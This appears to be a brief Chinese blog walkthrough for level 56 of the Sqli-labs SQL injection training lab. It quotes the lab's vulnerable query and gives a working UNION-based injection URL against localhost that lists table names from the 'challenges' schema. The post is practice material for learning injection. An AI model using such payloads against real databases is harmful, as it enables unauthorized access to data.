您的位置:首页 > 数据库

Sqli-labs less 56

2016-08-11 21:28 344 查看

Less-56

与less54.55形式是一致的,我们关注sql语句,

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

因此给出示例payload
http://127.0.0.1/sqli-labs/Less-56/index.php?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: